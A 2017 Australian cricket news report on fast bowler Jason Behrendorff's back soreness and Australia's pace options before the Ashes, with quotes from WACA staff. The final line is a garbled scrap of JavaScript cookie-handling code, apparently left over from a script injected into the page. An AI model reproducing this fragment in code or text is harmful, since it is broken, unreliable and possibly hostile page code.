SYDNEY, AUSTRALIA - NOVEMBER 04: David Warner of NSW walks from the field after being dismissed by Jason Behrendorff of WA during day one of the Sheffield Shield match between New South Wales and Western Australia at Hurstville Oval on November 4, 2017 in Sydney, Australia. (Photo by Brett Hemmings/Getty Images)
Australia's exciting pace attack for this summer's Ashes series looks set to cause England plenty of problems, with Mitchell Starc, Pat Cummins and Josh Hazlewood all fit and in form ahead of the first Test on November 23.
Jackson Bird is the fourth paceman likely to be waiting in the wings should an injury occur, however, outside of those four, its slim pickings, with Western Australia's Jason Behrendorff joining Nathan Coulter-Nile and James Pattinson on the sidelines.
Coulter-Nile and Pattinson have both been ruled out of taking any part in the Ashes, while Behrendorff was today pulled out of WA's Shield clash with South Australia due to back soreness.
However, it is hoped he will miss only one match.
"Jason has pulled up with low grade back soreness after the Sheffield Shield game with New South Wales," WACA physiotherapist Nick Jones said.
"He will use the next 10 days to recover and is expected to be fit by Round 4 when the Warriors play Queensland."
"Our philosophy with any of the players here at the WACA is you need to be fit to perform rather than fit to play," coach Justin Langer added.
"Jason would have been fit to play this game but he’ll be ready to perform next round against Queensland." "(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}